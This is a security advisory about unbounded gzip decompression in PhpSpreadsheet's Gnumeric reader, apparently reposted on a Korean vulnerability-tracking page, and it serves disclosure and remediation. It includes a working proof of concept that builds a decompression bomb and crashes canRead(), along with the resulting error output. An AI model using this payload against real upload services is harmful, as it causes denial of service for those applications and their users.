PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.
This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.
Vulnerability details
Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:
src/PhpSpreadsheet/Reader/Gnumeric.php:80-90calls$this->gzfileGetContents($filename)fromcanRead().src/PhpSpreadsheet/Reader/Gnumeric.php:105-115callscanRead()and then reads the expanded contents again for worksheet-name listing.src/PhpSpreadsheet/Reader/Gnumeric.php:253-265callscanRead()and then reads the expanded contents again for full loading.
The vulnerable expansion is in gzfileGetContents():
src/PhpSpreadsheet/Reader/Gnumeric.php:187-190reads the entire input file into$contentswithfile_get_contents().src/PhpSpreadsheet/Reader/Gnumeric.php:192-197detects gzip magic bytes and callsgzdecode($contents)without a decompressed-size cap.src/PhpSpreadsheet/Reader/Gnumeric.php:204-205scans the expanded data only after decompression has already completed.
Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.
Impact
A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.
In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memory_limit=64M at Reader/Gnumeric.php:195.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.
1docker run --rm --network none -i \ 2 -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \ 3 -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH' 4set -eu 5php -r ' 6$prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">"; 7$suffix = "</gnm:Workbook>"; 8$payload = $prefix . str_repeat("A", 96 * 1024 * 1024) . $suffix; 9$gz = gzencode($payload, 9);10file_put_contents("/tmp/bomb.gnumeric", $gz);11printf("compressed_size=%d expanded_size=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload));12'13php -d memory_limit=64M -d display_errors=1 -r '14require "/app/vendor/autoload.php";15$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();16var_dump($r->canRead("/tmp/bomb.gnumeric"));17' 2>&1 || true18SHObserved output:
1compressed_size=97811 expanded_size=100663390 2PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195 3PHP Stack trace: 4PHP 1. {main}() Command line code:0 5PHP 2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4 6PHP 3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84 7PHP 4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195Suggested remediation
- Do not decompress gzip data with unbounded
gzdecode()for untrusted.gnumericfiles. - Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
- Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
- Ensure
canRead(),listWorksheetNames(),listWorksheetInfo(), andload()share bounded decompression logic and avoid decompressing the same file repeatedly. - Fail closed with a recoverable
Reader\Exceptionwhen limits are exceeded, rather than allowing a PHP fatal memory error.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 8
링크 내용 불러오는 중…